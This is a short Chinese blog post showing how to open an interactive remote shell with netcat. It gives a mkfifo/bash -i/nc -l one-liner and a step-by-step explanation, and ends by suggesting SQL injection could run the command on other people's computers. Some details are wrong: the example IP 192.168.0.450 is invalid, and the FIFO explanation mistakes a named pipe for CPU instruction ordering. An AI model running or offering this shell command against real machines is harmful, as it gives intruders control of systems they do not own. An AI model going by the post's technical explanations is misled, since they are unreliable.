netcat 弹shell

2016-12-03  本文已影响147人  1b64efc60009

从名字来看net加个cat, 就感觉这个东西啊, excited!
如果能够远程在别人的电脑里下个nc再执行一段代码, 别人知道后是会很angery的.

假如我有两台都装了linux和nc的电脑A和B.

电脑A: ip 192.168.0.233

电脑B: ip 192.168.0.450

我闲着蛋疼想用nc从电脑B弹个shell给电脑A用假装自己用电脑A黑进了电脑B一样, 首先我在电脑B上装上openbsd-netcat然后打了这么一串高级的东西:

$ mkfifo /tmp/tf

$ cat /tmp/tf | bash -i 2>&1 | nc -l 1234 > /tmp/tf


然后再自己跑到电脑A前打了这么一串:

$ nc 192.168.0.450 1234

好神奇啊, 电脑A的屏幕上就会出现这样的东西(用127.0.0.1的原因嘛, 毕竟穷只有一台电脑没办法)

试一下看看能不能用:


真的能用诶!

解释一下发生了什么.

在电脑B上首先用mkfifo创建了一个特别的fifo文件tf. 这个文件可就厉害了, 他是 First Input First Output的缩写,先入先出队列,这是一种传统的按序执行方法,先进入的指令先完成并引退,跟着才执行第二条指令. 弹出来的shell能一条一条执行全都靠它.

再看看后面的一长串天书:

$ cat /tmp/tf | bash -i 2>&1 | nc -l 1234 > /tmp/tf

分开来看

1.首先输出tf的内容. 再把tf的内容作为输入传给bash.

2.这里bash后面的-i (interactive) 代表交互式地运行bash. 所谓交互式就是有来有往, 一条输入, 一条输出. 后面的2>&1 代表把标准错误(2)重定向到标准输(1)出上去, &是为了区分标准输出 1 和文件 1(如果有的话). 其实也就是把标准错误和标准输出合并在了一起.合并完后的命令的输出不仅有标准输出还有标准错误.

3.最后把bash 管道到nc里面. 这边nc就是一个服务器, 监听端口1234 并且把网络输入传回给tf.

整条命令形成了一个环. 一开始tf里面什么都没有, bash把prompt信息(被当作标准错误) 输出到与nc建立连接的电脑A. 等我跑到电脑A前输入ls的时候, ls作为电脑B上nc的输出传给了tf. tf把ls作为输出又传给了bash. bash解释ls, 把目录内容作为输入,输出到电脑B的nc上. 这样站在电脑A前的我就能看到输出啦.

除了bash, 别的shell做得到吗?

python

lua

如果能用sql注入或者别的什么办法在别人电脑上执行电脑B上的命令, 应该不用跑到其他电脑前就能控制整个shell了吧. 真是可喜可贺可喜可贺.


上一篇 下一篇

猜你喜欢

热点阅读